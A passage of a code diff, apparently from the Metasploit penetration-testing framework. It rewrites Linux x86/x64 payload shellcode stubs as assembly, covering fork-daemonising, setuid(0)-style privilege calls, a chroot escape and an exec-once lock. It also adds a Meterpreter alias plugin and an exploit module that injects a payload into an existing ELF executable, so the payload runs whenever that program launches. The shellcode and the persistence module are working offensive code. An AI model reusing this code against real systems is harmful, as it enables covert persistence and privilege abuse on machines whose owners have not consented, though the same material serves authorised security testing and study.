syscall + marker: + call open_marker + db '#{prepend_exec_once_path}', 0 + payload: + )) end - def appends_map - { - # exit(0) - 'AppendExit' => "\x48\x31\xff" + # xor rdi,rdi # - "\x6a\x3c" + # push 0x3c # - "\x58" + # pop rax # - "\x0f\x05" # syscall # - } + def x64_assemble(source) + Metasm::Shellcode.assemble(Metasm::X64.new, source).encode_string end end diff --git a/lib/msf/core/payload/linux/x86/prepends.rb b/lib/msf/core/payload/linux/x86/prepends.rb index 27462e9626c48..e49f8b54f09bb 100644 --- a/lib/msf/core/payload/linux/x86/prepends.rb +++ b/lib/msf/core/payload/linux/x86/prepends.rb @@ -4,7 +4,7 @@ module Msf::Payload::Linux::X86::Prepends include Msf::Payload::Linux::Prepends def prepends_order - %w[PrependFork PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid PrependChrootBreak] + %w[PrependExecOnce PrependFork PrependSetresuid PrependSetreuid PrependSetuid PrependSetresgid PrependSetregid PrependSetgid PrependChrootBreak] end def appends_order @@ -12,108 +12,140 @@ def appends_order end def prepends_map - { - 'PrependFork' => "\x6a\x02" + # pushb $0x2 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 ; fork # - "\x85\xc0" + # test %eax,%eax # - "\x74\x06" + # jz loc_000f # - # loc_0009: - "\x31\xc0" + # xor %eax,%eax # - "\xb0\x01" + # movb $0x1,%al # - "\xcd\x80" + # int $0x80 ; exit # - # loc_000f: - "\xb0\x42" + # movb %0x42,%al # - "\xcd\x80" + # int $0x80 ; setsid # - "\x6a\x02" + # pushb $0x2 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 ; fork # - "\x85\xc0" + # test %eax,%eax # - "\x75\xed", # jnz loc_0009 # - - # setresuid(0, 0, 0) - 'PrependSetresuid' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\xf7\xe3" + # mull %ebx # - "\xb0\xa4" + # movb $0xa4,%al # - "\xcd\x80", # int $0x80 # - - # setreuid(0, 0) - 'PrependSetreuid' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x46" + # pushl $0x46 # - "\x58" + # popl %eax # - "\xcd\x80", # int $0x80 # - - # setuid(0) - 'PrependSetuid' => "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x17" + # pushl $0x17 # - "\x58" + # popl %eax # - "\xcd\x80", # int $0x80 # - - # setresgid(0, 0, 0) - 'PrependSetresgid' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\xf7\xe3" + # mull %ebx # - "\xb0\xaa" + # movb $0xaa,%al # - "\xcd\x80", # int $0x80 # - - # setregid(0, 0) - 'PrependSetregid' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x47" + # pushl $0x47 # - "\x58" + # popl %eax # - "\xcd\x80", # int $0x80 # - - # setgid(0) - 'PrependSetgid' => "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x2e" + # pushl $0x2e # - "\x58" + # popl %eax # - "\xcd\x80", # int $0x80 # - - # setreuid(0, 0) = break chroot - 'PrependChrootBreak' => "\x31\xc9" + # xorl %ecx,%ecx # - "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x46" + # pushl $0x46 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 # - "\x6a\x3d" + # pushl $0x3d # - # build dir str (ptr in ebx) - "\x89\xe3" + # movl %esp,%ebx # - # mkdir(dir) - "\x6a\x27" + # pushl $0x27 # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 # - # chroot(dir) - "\x89\xd9" + # movl %ebx,%ecx # - "\x58" + # popl %eax # - "\xcd\x80" + # int $0x80 # - # build ".." str (ptr in ebx) - "\x31\xc0" + # xorl %eax,%eax # - "\x50" + # pushl %eax # - "\x66\x68\x2e\x2e" + # pushw $0x2e2e # - "\x89\xe3" + # movl %esp,%ebx # - # loop changing dir - "\x6a\x3d" + # pushl $0x1e # - "\x59" + # popl %ecx # - "\xb0\x0c" + # movb $0xc,%al # - "\xcd\x80" + # int $0x80 # - "\xe2\xfa" + # loop -6 # - # final chroot - "\x6a\x3d" + # pushl $0x3d # - "\x89\xd9" + # movl %ebx,%ecx # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # + @prepends_map ||= { + 'PrependExecOnce' => prepend_exec_once, + 'PrependFork' => x86_assemble(%( + push 2 + pop eax + int 0x80 + test eax, eax + jz child + parent: + xor eax, eax + mov al, 1 + int 0x80 + child: + mov al, 0x42 + int 0x80 + push 2 + pop eax + int 0x80 + test eax, eax + jnz parent + )), + 'PrependSetresuid' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + mul ebx + mov al, 0xa4 + int 0x80 + )), + 'PrependSetreuid' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + push 0x46 + pop eax + int 0x80 + )), + 'PrependSetuid' => x86_assemble(%( + xor ebx, ebx + push 0x17 + pop eax + int 0x80 + )), + 'PrependSetresgid' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + mul ebx + mov al, 0xaa + int 0x80 + )), + 'PrependSetregid' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + push 0x47 + pop eax + int 0x80 + )), + 'PrependSetgid' => x86_assemble(%( + xor ebx, ebx + push 0x2e + pop eax + int 0x80 + )), + 'PrependChrootBreak' => x86_assemble(%( + xor ecx, ecx + xor ebx, ebx + push 0x46 + pop eax + int 0x80 + push 0x3d + mov ebx, esp + push 0x27 + pop eax + int 0x80 + mov ecx, ebx + pop eax + int 0x80 + xor eax, eax + push eax + sub esp, 2 + mov word [esp], 0x2e2e + mov ebx, esp + push 0x3d + pop ecx + chdir_loop: + mov al, 0xc + int 0x80 + loop chdir_loop + push 0x3d + mov ecx, ebx + pop eax + int 0x80 + )) } end def appends_map - { - # exit(0) - 'AppendExit' => "\x31\xdb" + # xorl %ebx,%ebx # - "\x6a\x01" + # pushl $0x01 # - "\x58" + # popl %eax # - "\xcd\x80" # int $0x80 # + @appends_map ||= { + 'AppendExit' => x86_assemble(%( + xor ebx, ebx + push 1 + pop eax + int 0x80 + )) } end + + private + + def prepend_exec_once + @prepend_exec_once ||= x86_assemble(%( + jmp marker + open_marker: + pop ebx + mov ecx, 0xc1 + mov edx, 0x180 + mov eax, 5 + int 0x80 + test eax, eax + js stop + mov ebx, eax + mov eax, 6 + int 0x80 + jmp payload + stop: + xor ebx, ebx + mov eax, 1 + int 0x80 + marker: + call open_marker + db '#{prepend_exec_once_path}', 0 + payload: + )) + end + + def x86_assemble(source) + Metasm::Shellcode.assemble(Metasm::Ia32.new, source).encode_string + end end diff --git a/lib/rex/post/meterpreter/ui/console/meterpreter_alias_configuration.rb b/lib/rex/post/meterpreter/ui/console/meterpreter_alias_configuration.rb new file mode 100644 index 0000000000000..bc169ad904dc9 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/meterpreter_alias_configuration.rb @@ -0,0 +1,219 @@ +# frozen_string_literal: true + +require 'yaml' + +module Rex + module Post + module Meterpreter + module Ui + # Loads, validates, and normalizes Meterpreter aliases from YAML. + class Console::MeterpreterAliasConfiguration + class Error < Rex::RuntimeError; end + + SCHEMA_VERSION = 1 + ROOT_KEYS = %w[version aliases].freeze + ALIAS_KEYS = %w[description platforms module positional defaults switches architecture_options].freeze + POSITIONAL_KEYS = %w[option required].freeze + SWITCH_KEYS = %w[description options].freeze + ARCHITECTURE_KEYS = %w[source values].freeze + COMMAND_NAME_PATTERN = /\A[a-z][a-z0-9_-]*\z/ + OPTION_NAME_PATTERN = /\A[A-Za-z][A-Za-z0-9_]*\z/ + MODULE_NAME_PATTERN = %r{\A(?:post|exploit)/[a-z0-9_/]+\z} + SWITCH_NAME_PATTERN = /\A-[A-Za-z]\z/ + + # Loads and validates a Meterpreter alias YAML file. + # + # @param path [String] YAML configuration path. + # @param module_validator [#call, nil] Optional callable that validates module names. + # @return [Hash] Immutable normalized configuration with `path` and `aliases` keys. + def self.load(path:, module_validator: nil) + expanded_path = ::File.expand_path(path) + raise Error, "Meterpreter alias configuration does not exist: #{expanded_path}" unless ::File.file?(expanded_path) + + document = begin + YAML.safe_load(::File.binread(expanded_path), permitted_classes: [], permitted_symbols: [], aliases: false) + rescue Psych::Exception => e + raise Error, "Unable to parse Meterpreter alias configuration #{expanded_path}: #{e.message}" + rescue SystemCallError => e + raise Error, "Unable to read Meterpreter alias configuration #{expanded_path}: #{e.message}" + end + + root = validate_hash(document, 'configuration') + reject_unknown_keys(root, ROOT_KEYS, 'configuration') + raise Error, "Configuration key 'version' must be #{SCHEMA_VERSION}" unless root['version'] == SCHEMA_VERSION + + raw_aliases = validate_hash(root['aliases'], "configuration key 'aliases'") + aliases = raw_aliases.each_with_object({}) do |(alias_name, raw_alias), result| + validate_command_name(alias_name) + result[alias_name] = normalize_alias(alias_name, raw_alias, module_validator) + end + + deep_freeze('path' => expanded_path, 'aliases' => aliases) + end + + class << self + private + + def normalize_alias(alias_name, raw_alias, module_validator) + definition = validate_hash(raw_alias, alias_context(alias_name)) + reject_unknown_keys(definition, ALIAS_KEYS, alias_context(alias_name)) + + description = definition['description'] + unless description.is_a?(String) && !description.empty? + invalid(alias_name, 'description', 'must be a non-empty string') + end + + platforms = definition['platforms'] + unless platforms.is_a?(Array) && platforms.any? && platforms.all? { |platform| platform.is_a?(String) && !platform.empty? } + invalid(alias_name, 'platforms', 'must be a non-empty array of strings') + end + + module_name = definition['module'] + unless module_name.is_a?(String) && module_name.match?(MODULE_NAME_PATTERN) + invalid(alias_name, 'module', 'must identify a post module or local exploit') + end + if module_validator && !module_validator.call(module_name) + invalid(alias_name, 'module', "module is unavailable or unsupported: #{module_name}") + end + + positional = normalize_positionals(alias_name, definition.fetch('positional', [])) + defaults = normalize_options(alias_name, 'defaults', definition.fetch('defaults', {})) + switches = normalize_switches(alias_name, definition.fetch('switches', {})) + architecture_options = normalize_architecture_options(alias_name, definition['architecture_options']) + + { + 'description' => description, + 'platforms' => platforms.uniq, + 'module' => module_name, + 'positional' => positional, + 'defaults' => defaults, + 'switches' => switches, + 'architecture_options' => architecture_options + } + end + + def normalize_positionals(alias_name, raw_positionals) + invalid(alias_name, 'positional', 'must be an array') unless raw_positionals.is_a?(Array) + + required_seen = false + options = raw_positionals.map.with_index do |raw_positional, index| + key = "positional[#{index}]" + positional = validate_hash(raw_positional, alias_context(alias_name, key)) + reject_unknown_keys(positional, POSITIONAL_KEYS, alias_context(alias_name, key)) + validate_option_name(alias_name, key, positional['option']) + required = positional.fetch('required', false) + invalid(alias_name, key, "'required' must be true or false") unless [true, false].include?(required) + invalid(alias_name, key, 'required positional arguments must precede optional ones') if required_seen && required + required_seen ||= !required + + { 'option' => positional['option'], 'required' => required } + end + + duplicate = options.map { |positional| positional['option'] }.tally.find { |_option, count| count > 1 }&.first + invalid(alias_name, 'positional', "contains duplicate option: #{duplicate}") if duplicate + options + end + + def normalize_switches(alias_name, raw_switches) + switches = validate_hash(raw_switches, alias_context(alias_name, 'switches')) + switches.each_with_object({}) do |(switch_name, raw_switch), result| + invalid(alias_name, 'switches', "invalid switch name: #{switch_name}") unless switch_name.is_a?(String) && switch_name.match?(SWITCH_NAME_PATTERN) + invalid(alias_name, 'switches', "reserved switch name: #{switch_name}") if switch_name == '-h' + + switch = validate_hash(raw_switch, alias_context(alias_name, "switches.#{switch_name}")) + reject_unknown_keys(switch, SWITCH_KEYS, alias_context(alias_name, "switches.#{switch_name}")) + description = switch['description'] + unless description.is_a?(String) && !description.empty? + invalid(alias_name, "switches.#{switch_name}.description", 'must be a non-empty string') + end + + result[switch_name] = { + 'description' => description, + 'options' => normalize_options(alias_name, "switches.#{switch_name}.options", switch.fetch('options', {})) + } + end + end + + def normalize_architecture_options(alias_name, raw_architecture_options) + return unless raw_architecture_options + + architecture_options = validate_hash(raw_architecture_options, alias_context(alias_name, 'architecture_options')) + reject_unknown_keys(architecture_options, ARCHITECTURE_KEYS, alias_context(alias_name, 'architecture_options')) + invalid(alias_name, 'architecture_options.source', "must be 'sysinfo'") unless architecture_options['source'] == 'sysinfo' + + values = validate_hash(architecture_options['values'], alias_context(alias_name, 'architecture_options.values')) + invalid(alias_name, 'architecture_options.values', 'must not be empty') if values.empty? + + { + 'source' => 'sysinfo', + 'values' => values.each_with_object({}) do |(architecture, options), result| + unless architecture.is_a?(String) && !architecture.empty? + invalid(alias_name, 'architecture_options.values', 'architecture names must be non-empty strings') + end + + result[architecture] = normalize_options(alias_name, "architecture_options.values.#{architecture}", options) + end + } + end + + def normalize_options(alias_name, key, raw_options) + options = validate_hash(raw_options, alias_context(alias_name, key)) + options.each_with_object({}) do |(option_name, value), result| + validate_option_name(alias_name, key, option_name) + invalid(alias_name, "#{key}.#{option_name}", 'must be a scalar value') unless scalar?(value) + result[option_name] = value + end + end + + def scalar?(value) + value.is_a?(String) || value.is_a?(Integer) || value == true || value == false || value.nil? + end + + def validate_command_name(alias_name) + raise Error, "Invalid Meterpreter alias name: #{alias_name}" unless alias_name.is_a?(String) && alias_name.match?(COMMAND_NAME_PATTERN) + raise Error, "Reserved Meterpreter alias name: #{alias_name}" if %w[aliases aliases_reload].include?(alias_name) + end + + def validate_option_name(alias_name, key, option_name) + invalid(alias_name, key, "invalid module option name: #{option_name}") unless option_name.is_a?(String) && option_name.match?(OPTION_NAME_PATTERN) + end + + def validate_hash(value, context) + raise Error, "#{context} must be a hash" unless value.is_a?(Hash) + + value + end + + def reject_unknown_keys(hash, allowed, context) + unknown = hash.keys - allowed + raise Error, "#{context} contains unknown key: #{unknown.first}" if unknown.any? + end + + def invalid(alias_name, key, message) + raise Error, "Alias '#{alias_name}' key '#{key}' #{message}" + end + + def alias_context(alias_name, key = nil) + context = "Alias '#{alias_name}'" + context << " key '#{key}'" if key + context + end + + def deep_freeze(value) + case value + when Hash + value.each do |key, child| + deep_freeze(key) + deep_freeze(child) + end + when Array + value.each { |child| deep_freeze(child) } + end + value.freeze + end + end + end + end + end + end +end diff --git a/lib/rex/post/meterpreter/ui/console/meterpreter_alias_dispatcher.rb b/lib/rex/post/meterpreter/ui/console/meterpreter_alias_dispatcher.rb new file mode 100644 index 0000000000000..55f6ade0518d4 --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/meterpreter_alias_dispatcher.rb @@ -0,0 +1,243 @@ +# frozen_string_literal: true + +require 'rex/parser/arguments' +require 'rex/post/meterpreter/ui/console/command_dispatcher' + +module Rex + module Post + module Meterpreter + module Ui + # Adds declarative YAML aliases to a Meterpreter console. + class Console::MeterpreterAliasDispatcher + include Console::CommandDispatcher + + # Creates a dispatcher for an immutable alias registry. + # + # @param shell [Rex::Post::Meterpreter::Ui::Console] Meterpreter console. + # @param registry [Hash] Normalized configuration registry. + # @param reload_callback [#call, nil] Callback used by `aliases_reload`. + def initialize(shell, registry:, reload_callback: nil) + super(shell) + @registry = registry + @reload_callback = reload_callback + define_alias_methods + end + + # Returns commands available to this Meterpreter session. + # + # @return [Hash] Command descriptions keyed by command name. + def commands + management_commands.merge( + available_aliases.transform_values { |definition| definition['description'] } + ) + end + + # Returns the dispatcher name. + # + # @return [String] Dispatcher name. + def name + 'Meterpreter Aliases' + end + + # Lists aliases available in the current session. + # + # @param args [Array] Optional help flag. + # @return [Boolean] Whether the command was handled successfully. + def cmd_aliases(*args) + return cmd_aliases_help if args == ['-h'] + + if args.any? + print_error('Usage: aliases') + return false + end + + print_line("Configuration: #{@registry['path']}") + print_line + commands = available_aliases + if commands.empty? + print_status('No aliases are available for this platform') + return true + end + + width = commands.keys.map(&:length).max + commands.sort.each do |alias_name, definition| + print_line("#{alias_name.ljust(width)} #{definition['description']}") + end + true + end + + # Displays help for the aliases command. + # + # @return [Boolean] Always true. + def cmd_aliases_help + print_line('Usage: aliases') + print_line + print_line('Lists YAML aliases available to this Meterpreter session.') + true + end + + # Reloads the active alias file. + # + # @param args [Array] Optional help flag. + # @return [Boolean] Whether reload succeeded. + def cmd_aliases_reload(*args) + return cmd_aliases_reload_help if args == ['-h'] + + if args.any? + print_error('Usage: aliases_reload') + return false + end + + unless @reload_callback + print_error('Alias reload is unavailable') + return false + end + + @reload_callback.call + end + + # Displays help for the aliases_reload command. + # + # @return [Boolean] Always true. + def cmd_aliases_reload_help + print_line('Usage: aliases_reload') + print_line + print_line('Reloads the active Meterpreter alias YAML file.') + true + end + + private + + def management_commands + { + 'aliases' => 'List Meterpreter YAML aliases', + 'aliases_reload' => 'Reload Meterpreter YAML aliases' + } + end + + def available_aliases + @registry['aliases'].select do |_alias_name, definition| + definition['platforms'].include?(client.platform) + end + end + + def define_alias_methods + @registry['aliases'].each_key do |alias_name| + define_singleton_method("cmd_#{alias_name}") do |*args| + execute_alias(alias_name, args) + end + define_singleton_method("cmd_#{alias_name}_help") do |*_args| + alias_help(alias_name) + end + define_singleton_method("cmd_#{alias_name}_tabs") do |_str, words| + alias_tabs(alias_name, words) + end + end + end + + def execute_alias(alias_name, args) + definition = @registry['aliases'].fetch(alias_name) + unless definition['platforms'].include?(client.platform) + print_error("Alias '#{alias_name}' does not support platform #{client.platform}") + return false + end + + parser = alias_parser(definition) + valid_switches = parser.option_keys + unknown_switch = args.find { |argument| argument.start_with?('-') && !valid_switches.include?(argument) } + if unknown_switch + print_error("Unknown argument: #{unknown_switch}") + return false + end + + positional_values = [] + selected_switches = [] + parser.parse(args) do |option, _index, value| + if option.nil? + positional_values << value + elsif option == '-h' + alias_help(alias_name) + return true + else + selected_switches << option + end + end + + positionals = definition['positional'] + if positional_values.length > positionals.length + print_error("Alias '#{alias_name}' accepts at most #{positionals.length} positional arguments") + return false + end + + missing = positionals.each_with_index.find do |positional, index| + positional['required'] && positional_values[index].nil? + end + if missing + print_error("Missing required argument: #{missing.first['option']}") + return false + end + + options = definition['defaults'].dup + architecture_options = definition['architecture_options'] + if architecture_options + architecture = normalized_architecture(client.sys.config.sysinfo['Architecture']) + selected_options = architecture_options['values'][architecture] + unless selected_options + print_error("Alias '#{alias_name}' does not support architecture #{architecture}") + return false + end + options.merge!(selected_options) + end + + selected_switches.each do |switch_name| + options.merge!(definition['switches'].fetch(switch_name)['options']) + end + positional_values.each_with_index do |value, index| + options[positionals[index]['option']] = value + end + + module_options = options.map { |option, value| "#{option}=#{value}" } + client.execute_script(definition['module'], *module_options) + true + end + + def alias_parser(definition) + switches = definition['switches'].transform_values do |switch| + [false, switch['description']] + end + switches['-h'] = [false, 'Help menu'] + Rex::Parser::Arguments.new(switches) + end + + def alias_help(alias_name) + definition = @registry['aliases'].fetch(alias_name) + arguments = definition['positional'].map do |positional| + name = "<#{positional['option']}>" + positional['required'] ? name : "[#{name}]" + end + print_line("Usage: #{([alias_name] + arguments + ['[options]']).join(' ')}") + print_line + print_line(definition['description']) + print(alias_parser(definition).usage) + true + end + + def alias_tabs(alias_name, words) + definition = @registry['aliases'].fetch(alias_name) + return [] unless definition['platforms'].include?(client.platform) + + selected = words.select { |word| word.start_with?('-') } + alias_parser(definition).option_keys - selected + end + + def normalized_architecture(architecture) + architecture = architecture&.strip + return ARCH_ARMLE if %w[armv5l armv6l armv7l].include?(architecture) + + architecture + end + end + end + end + end +end diff --git a/modules/exploits/linux/persistence/elf.rb b/modules/exploits/linux/persistence/elf.rb new file mode 100644 index 0000000000000..6f2c02a551178 --- /dev/null +++ b/modules/exploits/linux/persistence/elf.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Exploit::Local::Persistence + include Msf::Post::File + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Linux ELF Executable Payload Injection Persistence', + 'Description' => %q{ + This module injects a payload into an existing Linux ELF executable. + The payload runs in a forked process whenever the executable is launched, + while the original program continues from its original entry point. + + The target must be a writable x86, x64, or AArch64 ET_EXEC or ET_DYN file + with an executable code cave or a reusable PT_NOTE/PT_NULL program header. + The original ELF is stored as loot before it is changed. + }, + 'License' => MSF_LICENSE, + 'Author' => ['dledda-r7'], + 'SessionTypes' => ['meterpreter', 'shell'], + 'Targets' => [ + ['Linux x64', { 'Platform' => 'linux', 'Arch' => ARCH_X64 }], + ['Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }], + ['Linux AArch64', { 'Platform' => 'linux', 'Arch' => ARCH_AARCH64 }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-08-27', + 'DefaultOptions' => { + 'PrependExecOnce' => true + }, + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1027_009_EMBEDDED_PAYLOADS], + ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION] + ], + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('ELF_PATH', [true, 'Absolute path to the ELF executable to modify']) + ]) + + deregister_options('WritableDir') + end + + def check + return CheckCode::Safe('ELF_PATH must be absolute') unless elf_path.start_with?('/') + return CheckCode::Safe("ELF does not exist: #{elf_path}") unless file?(elf_path) + return CheckCode::Safe("ELF is not readable: #{elf_path}") unless readable?(elf_path) + return CheckCode::Safe("ELF is not writable: #{elf_path}") unless writable?(elf_path) + return CheckCode::Safe("ELF is not executable: #{elf_path}") unless executable?(elf_path) + + @original_elf = read_file(elf_path) + return CheckCode::Unknown("Unable to read ELF: #{elf_path}") unless @original_elf + + injector = Msf::Exe::ElfInjector.new(template: @original_elf, payload: "\xcc".b) + return CheckCode::Safe('ELF already contains this injection marker') if injector.injected? + return CheckCode::Safe("ELF architecture is #{injector.architecture}, but target is #{target_architecture}") unless injector.architecture == target_architecture + + injector.generate + CheckCode::Detected("Writable #{injector.architecture} ELF supports #{injection_technique(injector)}") + rescue StandardError => e + CheckCode::Unknown("Unable to validate ELF: #{e.message}") + end + + def install_persistence + original_elf = @original_elf || read_file(elf_path) + fail_with(Failure::UnexpectedReply, "Unable to read ELF: #{elf_path}") unless original_elf + + encoded_payload = payload.encoded + begin + injector = Msf::Exe::ElfInjector.new(template: original_elf, payload: encoded_payload) + injected_elf = injector.generate + original_mode = stat(elf_path).mode & 0o7777 + rescue StandardError => e + fail_with(Failure::NotVulnerable, "ELF cannot be injected: #{e.message}") + end + fail_with(Failure::BadConfig, "ELF architecture is #{injector.architecture}, but target is #{target_architecture}") unless injector.architecture == target_architecture + + backup_path = store_loot( + 'linux.elf.backup', + 'application/octet-stream', + session, + original_elf, + ::File.basename(elf_path), + "Original ELF backup for #{elf_path}" + ) + fail_with(Failure::UnexpectedReply, 'Failed to store the original ELF as loot') unless backup_path + + print_status("Injecting #{encoded_payload.bytesize} bytes into #{elf_path} using #{injection_technique(injector)}") + unless write_file(elf_path, injected_elf) + restore_original(original_elf, original_mode) + fail_with(Failure::UnexpectedReply, "Failed to write injected ELF: #{elf_path}") + end + + begin + chmod(elf_path, original_mode) + written_elf = read_file(elf_path) + rescue StandardError => e + restore_original(original_elf, original_mode) + fail_with(Failure::UnexpectedReply, "Failed to verify injected ELF: #{e.message}") + end + + unless written_elf && Digest::SHA256.hexdigest(written_elf) == Digest::SHA256.hexdigest(injected_elf) + restore_original(original_elf, original_mode) + fail_with(Failure::UnexpectedReply, 'Injected ELF verification failed; restoration was attempted') + end + + if session.type == 'meterpreter' + @clean_up_rc << %(upload "#{backup_path}" "#{elf_path}"\n) + @clean_up_rc << %(execute -f /bin/chmod -a "#{original_mode.to_s(8)} #{elf_path}"\n) + else + print_status("Original ELF backup saved to #{backup_path}") + end + print_good("Payload will execute when #{elf_path} is launched") + end + + private + + def elf_path + datastore['ELF_PATH'] + end + + def target_architecture + target.arch.first.to_sym + end + + def injection_technique(injector) + injector.technique == :code_cave ? 'an executable code cave' : 'a new executable segment' + end + + def restore_original(original_elf, original_mode) + print_warning('Attempting to restore the original ELF') + write_file(elf_path, original_elf) + chmod(elf_path, original_mode) + rescue StandardError => e + print_error("Failed to restore the original ELF: #{e.message}") + end +end diff --git a/plugins/meterpreter_aliases.rb b/plugins/meterpreter_aliases.rb new file mode 100644 index 0000000000000..a5cf980e2ccb7 --- /dev/null +++ b/plugins/meterpreter_aliases.rb @@ -0,0 +1,191 @@ +require 'rex/post/meterpreter/ui/console/meterpreter_alias_configuration' +require 'rex/post/meterpreter/ui/console/meterpreter_alias_dispatcher' + +module Msf + # Loads declarative YAML aliases into Meterpreter consoles. + class Plugin::MeterpreterAliases < Msf::Plugin + include Msf::SessionEvent + + # Manages Meterpreter aliases from the framework console. + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + class << self + attr_accessor :plugin + end + + def initialize(driver) + super + @plugin = self.class.plugin + end + + def name + 'Meterpreter Aliases' + end + + def commands + { + 'meterpreter_aliases' => 'List configured Meterpreter YAML aliases', + 'meterpreter_aliases_reload' => 'Reload Meterpreter YAML aliases' + } + end + + def cmd_meterpreter_aliases(*args) + return cmd_meterpreter_aliases_help if args == ['-h'] + + if args.any? + print_error('Usage: meterpreter_aliases') + return false + end + + @plugin.print_configuration + true + end + + def cmd_meterpreter_aliases_help + print_line('Usage: meterpreter_aliases') + print_line + print_line('Lists the active Meterpreter alias YAML file and configured aliases.') + true + end + + def cmd_meterpreter_aliases_reload(*args) + return cmd_meterpreter_aliases_reload_help if args == ['-h'] + + if args.any? + print_error('Usage: meterpreter_aliases_reload') + return false + end + + @plugin.reload_configuration + end + + def cmd_meterpreter_aliases_reload_help + print_line('Usage: meterpreter_aliases_reload') + print_line + print_line('Reloads and validates the active Meterpreter alias YAML file.') + true + end + end + + def initialize(framework, opts) + super + @configuration_path = opts['Config'] || ::File.join(Msf::Config.data_directory, 'meterpreter_aliases.yml') + @dispatchers = {}.compare_by_identity + @configuration = load_configuration + meterpreter_sessions.each { |session| validate_session_commands!(@configuration, session) } + + ConsoleCommandDispatcher.plugin = self + add_console_dispatcher(ConsoleCommandDispatcher) + framework.events.add_session_subscriber(self) + meterpreter_sessions.each { |session| attach_session(session) } + print_status("Loaded #{@configuration['aliases'].length} Meterpreter aliases from #{@configuration['path']}") + end + + def cleanup + framework.events.remove_session_subscriber(self) + @dispatchers.each_key { |session_key| detach_session(session_key) } + remove_console_dispatcher('Meterpreter Aliases') + ConsoleCommandDispatcher.plugin = nil if ConsoleCommandDispatcher.plugin == self + end + + def name + 'meterpreter_aliases' + end + + def desc + 'Loads Meterpreter commands from a YAML alias file' + end + + def on_session_open(session) + return unless meterpreter_session?(session) + + validate_session_commands!(@configuration, session) + attach_session(session) + rescue Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasConfiguration::Error => e + print_error(e.message) + end + + def on_session_close(session, _reason = '') + detach_session(session) + end + + def on_session_fail(_reason = ''); end + def on_plugin_load; end + def on_plugin_unload; end + + def reload_configuration + replacement = load_configuration + meterpreter_sessions.each { |session| validate_session_commands!(replacement, session) } + + @configuration = replacement + @dispatchers.each_key { |session_key| detach_session(session_key) } + meterpreter_sessions.each { |session| attach_session(session) } + print_status("Reloaded #{@configuration['aliases'].length} Meterpreter aliases from #{@configuration['path']}") + true + rescue Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasConfiguration::Error => e + print_error("Meterpreter aliases were not reloaded: #{e.message}") + false + end + + def print_configuration + print_status("Meterpreter alias configuration: #{@configuration['path']}") + @configuration['aliases'].sort.each do |alias_name, definition| + print_line("#{alias_name} - #{definition['description']}") + end + end + + private + + def load_configuration + validator = lambda do |module_name| + mod = framework.modules.create(module_name) + mod && (mod.type == 'post' || (mod.type == 'exploit' && mod.exploit_type == 'local')) + end + Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasConfiguration.load( + path: @configuration_path, + module_validator: validator + ) + end + + def meterpreter_sessions + framework.sessions.each_pair.filter_map do |_session_id, session| + session if meterpreter_session?(session) + end + end + + def meterpreter_session?(session) + session.type == 'meterpreter' && session.respond_to?(:console) && session.console + end + + def validate_session_commands!(configuration, session) + configured = configuration['aliases'].keys + dispatchers = session.console.dispatcher_stack.reject do |dispatcher| + dispatcher.is_a?(Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasDispatcher) + end + existing = dispatchers.flat_map { |dispatcher| dispatcher.commands&.keys || [] } + collision = (configured & existing).first + return unless collision + + raise Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasConfiguration::Error, + "Alias '#{collision}' conflicts with an existing command in session #{session.sid}" + end + + def attach_session(session) + return if @dispatchers.key?(session) + + dispatcher = Rex::Post::Meterpreter::Ui::Console::MeterpreterAliasDispatcher.new( + session.console, + registry: @configuration, + reload_callback: method(:reload_configuration) + ) + session.console.dispatcher_stack.unshift(dispatcher) + @dispatchers[session] = dispatcher + end + + def detach_session(session) + dispatcher = @dispatchers.delete(session) + session.console.dispatcher_stack.delete(dispatcher) if dispatcher + end + end +end diff --git a/spec/lib/msf/core/exe/elf_injector_spec.rb b/spec/lib/msf/core/exe/elf_injector_spec.rb new file mode 100644 index 0000000000000..37418173f52f0 --- /dev/null +++ b/spec/lib/msf/core/exe/elf_injector_spec.rb @@ -0,0 +1,80 @@ +require 'spec_helper' + +RSpec.describe Msf::Exe::ElfInjector do + def elf64(machine: 62, note_type: 4) + code = "\xb8\x3c\x00\x00\x00\x31\xff\x0f\x05".b + entrypoint = 0x4000b0 + identifier = 